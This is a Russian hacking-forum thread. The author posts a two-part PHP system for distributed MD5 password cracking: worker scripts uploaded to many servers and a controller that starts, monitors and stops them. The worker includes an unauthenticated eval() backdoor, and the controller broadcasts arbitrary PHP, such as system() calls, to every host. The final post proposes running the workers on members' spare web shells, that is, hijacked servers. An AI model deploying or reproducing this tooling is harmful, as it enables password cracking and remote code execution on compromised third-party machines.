Распределенный брутофорс md5 хешей. PHP

Discussion in 'PHP' started by Dr.Z3r0, 30 Aug 2007.

  1. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    Вот на днях написал от не фиг делать. Принцип прост заливаем первый скрипт на как можно большее количество хостов и забиваем в файлик list.txt ссылки типа http://xxx/ddd/script.php? либо http://xxx/ddd/script.php?key=EOF& (и пожалуйста в конце этого файлика пустая строка) и заливаем его вместе со вторым скриптом на хост с поддержкой сокетов(!). Собсно в первом скрипте несколько параметров-разберетсь как и во втором.
    Затем запускаете второй скрипт. Там все просто.
    "Остановить все скрипты"-Давим на батон и все текущие задания прерываются...
    "Проверка состояния скриптов"-Ну тут типа отчета что делают все скрипты... Собсно даже достачно информативный отчет )

    Ну и следюющая формочка.
    Первое поле заполняем если хотим запустить какой то скрипт индивидуально.
    Во втором вписываем хеш.
    Третье-там понятно.
    Как впринципе и четвертое и пятое ))
    И жмем на кнопку "Запустить скрипты на брут"
    ЗЫ Прервите все текущие задания а то могут появится глюки.

    Ну и плюс бонус... (Захотелось мне так, если что то можно отключить в настройках скриптов) Это выполнение php кода...

    Так теперь о скорости брута... К сожалению одиночный скрипт брутить довольно медленно где-то район 1000000 пассов в 15-20 секунд у меня. Но скриптов десяток я думаю исправят этот недостаток )) впринципе на это система и расчитанна.

    PHP:
    <?php
    define
    ('KEY','EOF');//Пароль
    define('AUTH',false);//Производить авторизацию true-да false-нет
    define('FILE_RET','ret_file.txt');//Системный файл этого скрипта
    define('FILE_STOP','stop.txt');////Если этот файл присутствует тогда этот скрипт прервет свое выполнение.
    define('EXCUTE_PHP',true);//Разрешить выполнять пхп код

    if(AUTH){if(!empty($_GET['key'])){if($_GET['key']!=KEY)die();}else die();}

    if(!isset(
    $_GET['php'])) $php="qwertyuiopasdfghjklzxcvbnm";
    else 
    $php=rawurldecode($_GET['php']);

    if(!isset(
    $_GET['from'])) $from="";
    else 
    $from=rawurldecode($_GET['from']);

    if(!isset(
    $_GET['text'])) $text="";
    else 
    $text=rawurldecode($_GET['text']);

    if(!isset(
    $_GET['count_c'])) $count_c="";
    else 
    $count_c=rawurldecode($_GET['count_c']);

    function 
    infile($str)
    {
        
    $f=fopen(FILE_RET"w");
        
    fputs($f,$str);
        
    fclose($f);
    }

    function 
    mdgetword() 
    {
        global 
    $php,$from,$word;
        
    $word="";
        for (
    $i=0$i<count($from); $i++) $word.=$php[$from[$i]];
    }

    if(
    file_exists(FILE_STOP))
    {
        
    infile('User stop-'.$text.'-'.time());
        
    unlink(FILE_STOP);
    }

    if (isset(
    $_GET['do'])) 
    {
        if(
    $_GET['do']==='how')
        {
            if(
    file_exists(FILE_RET))readfile(FILE_RET);
            else echo(
    'Script not started at once');
        }
        elseif(
    $_GET['do']==='eva')
        {
            if(
    EXCUTE_PHP)
            {
            if(!empty(
    $_GET['eva']))eval(rawurldecode($_GET['eva']));
            }
            else echo(
    '<font color=red><b>Acsess deinded to excute php</b></font>');
        }
        elseif(
    $_GET['do']==='stop')
        {
            
    infile('User stop-'.$text.'-'.time());
            
    $f=fopen(FILE_STOP"w");
            
    fclose($f);
            
    readfile(FILE_RET);
        }
        elseif(
    $_GET['do']==='start')
        {
            @
    set_time_limit(0);
            @
    ignore_user_abort(true);

            
    $fulltime=@intval($fulltime);
            
    $fullqty=@intval($fullqty);
            
    $count_c=@intval($count_c);
                
            
    $text=strtolower($text);
            if (!isset(
    $from) || !preg_match("!^([0-9]+):(([0-9]+,)*[0-9]+)$!",$from,$ok)) 
            {
                
    $pos=0;
                
    $from=0;
            }
            else 
            {
                
    $pos=$ok[1];
                
    $from=$ok[2];
            }

            
    $from=explode(",",$from);
            if (!
    is_array($from) || !count($from) || count($from)==&& $from[0]==0
            { 
                
    $from=array(0);
                if (
    md5("")===$text)
                {
                    
    infile('Found-'.$text.'-'.base64_encode('PASSWORD EMPTY!!!'));
                    die();
                }
            }
            
    $phplen=strlen($php);
            
    mdgetword();
            
    $poslen=strlen($word);
            if (
    $pos<|| $pos>=$poslen$pos=0;
            
            
    $fullsum=pow($phplen,$poslen);
            
    $time1=time();
            
    $i=0;
            
    $if2=0;
            
            
    $time_start=microtime();
            
    $micro_start=substr($time_start,0,10)+substr($time_start,11);
            
    infile('Start-'.$text.'-'.$count_c.'-'.time().'-'.$word);
            
            while (
    1
            {
                if(
    $i===$count_c)
                {
                    
    $time_stop=microtime();
                    
    $micro_stop=substr($time_stop,0,10)+substr($time_stop,11);
                    
    $all_time=$micro_stop-$micro_start;
                    
    infile('Not found-'.$text.'-'.time().'-'.$all_time);
                    die();
                }
                if(
    $if2===50000)
                {
                    if(
    file_exists(FILE_STOP))
                    {
                        
    infile('User stop-'.$text.'-'.time());
                        
    unlink(FILE_STOP);
                        die();
                    }
                    
    $if2=0;
                }
                echo(
    $word.'<br>');
                if (
    md5($word)===$text)
                {
                    
    $time_stop=microtime();
                    
    $micro_stop=substr($time_stop,0,10)+substr($time_stop,11);
                    
    $all_time=$micro_stop-$micro_start;
                    
    infile('Found-'.$text.'-'.base64_encode($word).'-'.$all_time);
                    
    //die();
                
    }
                
    $from[$pos]++;
                if (
    $from[$pos]==$phplen
                {
                    
    $flag=1;
                    
    $from[$pos]=0;
                    
    $word[$pos]=$php[0];
                    for (
    $pos=$pos+1$pos<$poslen$pos++) 
                    {
                        if (
    $from[$pos]+1<$phplen
                        {
                            
    $from[$pos]++;
                            
    $word[$pos]=$php[$from[$pos]];
                            
    $flag=0;
                            
    $pos=0;
                            break;
                        }
                        else 
                        {
                            
    $from[$pos]=0;
                            
    $word[$pos]=$php[0];
                        }
                    }
                    if (
    $flag
                    {
                        
    $from[]=0;
                        
    $poslen=count($from);
                        
    $word.=$php[0];
                        
    $pos=0;
                        
    $fullsum=pow($phplen,$poslen);
                    }
                }
                
    $word[$pos]=$php[$from[$pos]];
                
    $i++;
                
    $if2++;    
            }
            
        }
    }
    ?>
    PHP:
    <?php
    define
    ('KEY','EOF');//Пароль
    define('AUTH',false);//Производить авторизацию true-да false-нет
    define('FILE_LIST','list.txt');//Файл с путями к скриптам брута хешей
    define('FILE_STOP','stop_serv.txt');//Если этот файл присутствует тогда этот скрипт прервет свое выполнение.
    define('EXCUTE_PHP',true);//Разрешить выполнять пхп код на остальных скриптах(Требуется значение true этого параметра в каждом скрипте)

    @set_time_limit(0);

    /*
    Эта функция кривовата если найдется тот кто сможет ее исправить то исправьте
    */
    function next_pass($arrey,$integ,$php)
    {
    $new_arrey=$arrey;
    $add=$integ;
    $len=strlen($php);
    $i=0;
    while(
    1)
    {
        if(!
    array_key_exists($i$new_arrey))$new_arrey[$i]=0;
        
    $add_now=$add%$len;
        
    $add=($add-($add%$len))/$len;
        
    $new_arrey[$i]=$new_arrey[$i]+$add_now;
        if(
    $new_arrey[$i]>=$len)
        {
            
    $add=$add+($new_arrey[$i]-($new_arrey[$i]%$len))/$len;
            
    $new_arrey[$i]=$new_arrey[$i]%$len;
        }
        if(
    $add<=$len)
        {
            if(
    $add<>0)
            {
                if(!
    array_key_exists($i+1$new_arrey))    {$new_arrey[$i+1]=0;}
                
    $new_arrey[$i+1]=$new_arrey[$i+1]+$add;
                
    $add=0;
                if(
    $new_arrey[$i+1]<$len)break;
                else
                {
                    
    $add=($new_arrey[$i+1]-($new_arrey[$i+1]%$len))/$len;
                    
    $new_arrey[$i+1]=$new_arrey[$i+1]%$len;
                    
    $i++;
                    
    $add=$add-1;
                }
            }
            else break;
        }
        
    $i++;
    }
    return 
    $new_arrey;
    }

    function 
    getfromword($str,$php)
    {
    $from[0]=0;
    for (
    $i=0$i<strlen($str); $i++)
    {
        
    $from[$i]=strpos($php,$str[$i]);
    }
    return 
    $from;
    }

    function 
    getwordfrom($arrey,$php)
    {
    $str='';
    for (
    $i=0$i<count($arrey); $i++){$str.=$php[$arrey[$i]];}
    return 
    $str;
    }

    function 
    getffromf($arrey)
    {
    $str='0:';
    $str.=$arrey[0];
    for (
    $i=1$i<count($arrey); $i++){$str.=','.$arrey[$i];}
    return 
    $str;
    }

    function 
    gethostbystr($str)
    {
        
    $host=substr($str,7);
        if(
    strpos($host,'/')>0)$host=substr($host,0,strpos($host,'/'));
        return 
    $host;
    }

    function 
    gethost($str)
    {
        
    $host=substr($str,7);
        if(
    strpos($host,'/')>0)$host=substr($host,0,strpos($host,'/'));
        return 
    $host;
    }

    function 
    start_script($str)
    {
        
    $header="GET ".$str." HTTP/1.0\r\n";
        
    $header.="Accept-Language: en-us,en;q=0.5\r\n";
        
    $header.="Accept-Charset: utf-8,*;q=0.7\r\n";
        
    $header.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5";
        
    $header.="User-Agent: Mozilla/5.0 ( Windows; U; \$3m31\$tv0_f0rt04nb|}{; MSNIA )\r\n";
        
    $header.="Connection: keep-alive\r\n";
        
    $header.="Host: ".gethostbystr($str)."\r\n\r\n";
        
        
    $fp=fsockopen(gethost($str), 80);
        
    fwrite($fp$header);
        
    fclose($fp);
    }

    if(
    AUTH)
    {
    $key_p='';
    if(!empty(
    $_GET['key']))$key_p=$_GET['key'];
    if(!empty(
    $_POST['key']))$key_p=$_POST['key'];
    if(
    $key_p!=KEY)die();
    }

    echo(
    '<HTML>
    <head>
    <title>Система рапределнного брута md5 хешей</title>
    </head>
    <body>'
    );
    if(!empty(
    $_POST['do']))
    {
        if(
    $_POST['do']==='how_all')
        {
            
    $bryters=file(FILE_LIST);
            for(
    $i=0;$i<count($bryters);$i++)
            {
                
    $text_script=file(substr($bryters[$i],0,strlen($bryters[$i])-2).'do=how');
                
    $bryt_script=explode('-',$text_script[0]);
                echo(
    '<font size="-1"><b>'.$bryters[$i].'</b></font> ');
                if(
    $bryt_script[0]==='Found')echo('<font color=green>Хеш <b>'.$bryt_script[1].'</b> сбручен. Затраченно <b>'.$bryt_script[3].'</b> секунд. Ваш пароль: <b>'.base64_decode($bryt_script[2]).'</b></font>');
                elseif(
    $bryt_script[0]==='Not found')echo('<font color=red>Хеш <b>'.$bryt_script[1].'</b> не сбручен. Сам скрипт остановлен. Затраченно <b>'.$bryt_script[3].'</b> секунд. <b>'.date('H:i d.m.y'$bryt_script[2]).'</b></font>');
                elseif(
    $bryt_script[0]==='User stop')echo('<font color=red>Брут хеша <b>'.$bryt_script[1].'</b> был остановленн юзером.<b>'.date('H:i d.m.y'$bryt_script[2]).'</b></font>');
                elseif(
    $bryt_script[0]==='Start')echo('<font color=orange>Хеш <b>'.$bryt_script[1].'</b> брутится. Запущенно <b>'.$bryt_script[2].'</b> комбинаций начиная с пароля <b>'.rawurldecode($bryt_script[4]).'</b>.<b>'.date('H:i d.m.y'$bryt_script[3]).'</b></font>');
                elseif(
    $bryt_script[0]==='Script not started at once')echo('<font color=gray>Данный скрипт не был запущен еще ни разу</font>');
                echo(
    '<br>');
                
    flush();
                if(
    file_exists(FILE_STOP))
                {
                    
    unlink(FILE_STOP);
                    break;
                }
            }
        }
        if(
    $_POST['do']==='stop_all')
        {
            
    $bryters=file(FILE_LIST);
            for(
    $i=0;$i<count($bryters);$i++)
            {
                
    $text_script=file(substr($bryters[$i],0,strlen($bryters[$i])-2).'do=stop');
                
    $bryt_script=explode('-',$text_script[0]);
                echo(
    '<font size="-1"><b>'.$bryters[$i].'</b></font> ');
                echo(
    '<font color=red>Брут хеша <b>'.$bryt_script[1].'</b> был остановленн юзером.<b>'.date('H:i d.m.y'$bryt_script[2]).'</b></font>');
                echo(
    '<br>');
                
    flush();
                if(
    file_exists(FILE_STOP))
                {
                    
    unlink(FILE_STOP);
                    break;
                }
            }
        }
        if((
    $_POST['do']==='shell_eva')&&(EXCUTE_PHP))
        {
            
    $bryters=file(FILE_LIST);
            for(
    $i=0;$i<count($bryters);$i++)
            {
                if(
    $_POST['ret']==='1')
                {
                    
    $text_script=file(substr($bryters[$i],0,strlen($bryters[$i])-2).'do=eva&eva='.rawurlencode($_POST['eva']));
                    echo(
    '<hr><font size="-1">'.$bryters[$i].'<br><br>');
                    for(
    $i2=0;$i2<count($text_script);$i2++)echo($text_script[$i2]);
                    echo(
    '</font><hr>');
                }
                else
                {
                    
    start_script(substr($bryters[$i],0,strlen($bryters[$i])-2).'do=eva&eva='.rawurlencode($_POST['eva']));
                    echo(
    '<hr><font size="-1">'.$bryters[$i].'<br><br>Готово');
                    echo(
    '</font><hr>');
                }
                
    flush();
                if(
    file_exists(FILE_STOP))
                {
                    
    unlink(FILE_STOP);
                    break;
                }
            }
        }
        if(
    $_POST['do']==='start_all')
        {
            
    $bryters=file(FILE_LIST);
            
    $passw_st=$_POST['start_pass'];
            if(empty(
    $_POST['number']))
            {
                
    $passw_st=getfromword($passw_st,$_POST['sumb']);
                for(
    $i=0;$i<count($bryters);$i++)
                {
                    
    start_script(substr($bryters[$i],0,strlen($bryters[$i])-2).'do=start&text='.$_POST['md5_hash'].'&from='.rawurlencode(getffromf($passw_st,$_POST['sumb'])).'&count_c='.$_POST['count_comb'].'&php='.rawurlencode($_POST['sumb']));
                    
    sleep(1);
                    
    //echo(substr($bryters[$i],0,strlen($bryters[$i])-2).'do=start&text='.$_POST['md5_hash'].'&from='.rawurlencode(getffromf($passw_st)).'&count_c='.$_POST['count_comb'].'&php='.rawurlencode($_POST['sumb']));
                    
    $bryt_script=file(substr($bryters[$i],0,strlen($bryters[$i])-2).'do=how');
                    
    $bryt_script=explode('-',$bryt_script[0]);
                    echo(
    '<font size="-1"><b>'.$bryters[$i].'</b></font> ');
                    echo(
    '<font color=orange>Хеш <b>'.$bryt_script[1].'</b> брутится. Запущенно <b>'.$bryt_script[2].'</b> комбинаций начиная с пароля <b>'.rawurldecode($bryt_script[4]).'</b>.<b>'.date('H:i d.m.y'$bryt_script[3]).'</b></font>');
                    echo(
    '<br>');
                    
    flush();
                    if(
    file_exists(FILE_STOP))
                    {
                        
    unlink(FILE_STOP);
                        break;
                    }
                    
    $passw_st=next_pass($passw_st,$_POST['count_comb'],$_POST['sumb']);
                }
                echo(
    '<hr>Следующий пароль: <b>'.getwordfrom($passw_st,$_POST['sumb']).'</b>');

            }
            else
            {
                if((
    intval($_POST['number'])<=count($bryters))&&(intval($_POST['number'])>=1)&&($_POST['number']!='0'))
                {
                    
    start_script(substr($bryters[$_POST['number']-1],0,strlen($bryters[$_POST['number']-1])-2).'do=start&text='.$_POST['md5_hash'].'&from='.rawurlencode($passw_st).'&count_c='.$_POST['count_comb'].'&php='.rawurlencode($_POST['sumb']));
                    
    sleep(1);
                    
    //echo(substr($bryters[$_POST['number']-1],0,strlen($bryters[$_POST['number']-1])-2).'do=start&text='.$_POST['md5_hash'].'&from='.rawurlencode($passw_st).'&count_c='.$_POST['count_comb'].'&php='.rawurlencode($_POST['sumb']));
                    
    $bryt_script=file(substr($bryters[$_POST['number']-1],0,strlen($bryters[$_POST['number']-1])-2).'do=how');
                    
    $bryt_script=explode('-',$bryt_script[0]);
                    echo(
    '<font size="-1"><b>'.$bryters[$_POST['number']-1].'</b></font> ');
                    echo(
    '<font color=orange>Хеш <b>'.$bryt_script[1].'</b> брутится. Запущенно <b>'.$bryt_script[2].'</b> комбинаций начиная с пароля <b>'.rawurldecode($bryt_script[4]).'</b>.<b>'.date('H:i d.m.y'$bryt_script[3]).'</b></font>');
                    echo(
    '<br>');
                    
    flush();
                }
            }
        }
    }

    echo(
    '<hr>
    <form method="post">
    <input type="hidden" name="key" value="'
    .KEY.'">
    <input type="hidden" name="do" value="stop_all">
    <input type="submit" value="Остановить все скрипты">
    </form>'
    );
    echo(
    '<hr>
    <form method="post">
    <input type="hidden" name="key" value="'
    .KEY.'">
    <input type="hidden" name="do" value="how_all">
    <input type="submit" value="Проверка состояния скриптов">
    </form>'
    );
    echo(
    '<hr>
    <form method="post">
    <input type="hidden" name="key" value="'
    .KEY.'">
    <input type="hidden" name="do" value="start_all">
    <input type="text" name="number" value="">:Номер скрипта в файле '
    .FILE_LIST.' если не указанно то будут запущенны все скрипты<br>
    <input type="text" name="md5_hash" value="074431c9d7529b508d0c085d31fc2068">:Хеш который надо сбрутить<br>
    <input type="text" name="start_pass" value="a">:Пароль с которого нужно начинать брут<br>
    <input type="text" name="count_comb" value="1000000">:Количество комбинаций на каждый скрипт<br>
    <input type="text" name="sumb" value="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~`!@#\$%^&*()_+-=[]{};:,<.>/\\\'">:Использовать эти символы для перебора<br>
    <input type="submit" value="Запустить скрипты на брут">
    </form>'
    );
    if(
    EXCUTE_PHP)
    {
    echo(
    '<hr>
    <form method="post">
    <input type="hidden" name="key" value="'
    .KEY.'">
    <input type="hidden" name="do" value="shell_eva">
    <textarea name="eva" cols="30" rows="7">system(\'ping 127.0.0.1\');
    </textarea><br>
    <input type="radio" name="ret" value="1">Выполнить и ждать ответ
    <input type="radio" name="ret" value="0" checked>Просто выполнить<br>
    <input type="submit" value="Выполнить пхп код ;)">
    </form>'
    );
    }
    echo(
    '</body>
    </HTML>'
    );

    ?>
    Внимание вопрос. У кого есть желание сделать эту систему единой? Например у каждого из нас будет ну бугага никому не нужных веб шелов по 10 так? Заливаем на каждый создаем единый католог с этими скриптами. И открываем доступ допустим либо всем либо тем кто внес свой вклад. Только тогда надо будет переписать скрипты тк сейчас они расчитанны на брут одного хеша. Вместе впринципе может получиться неплохая система для брута я так думаю...Есть желание?
     
    #1 Dr.Z3r0, 30 Aug 2007
    Last edited: 31 May 2011
  2. ZaCo

    ZaCo Banned

    Joined:
    20 Jun 2005
    Messages:
    737
    Likes Received:
    336
    Reputations:
    215
    http://sourceforge.net/projects/brutenet/ :(
     
    1 person likes this.
  3. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    Хех (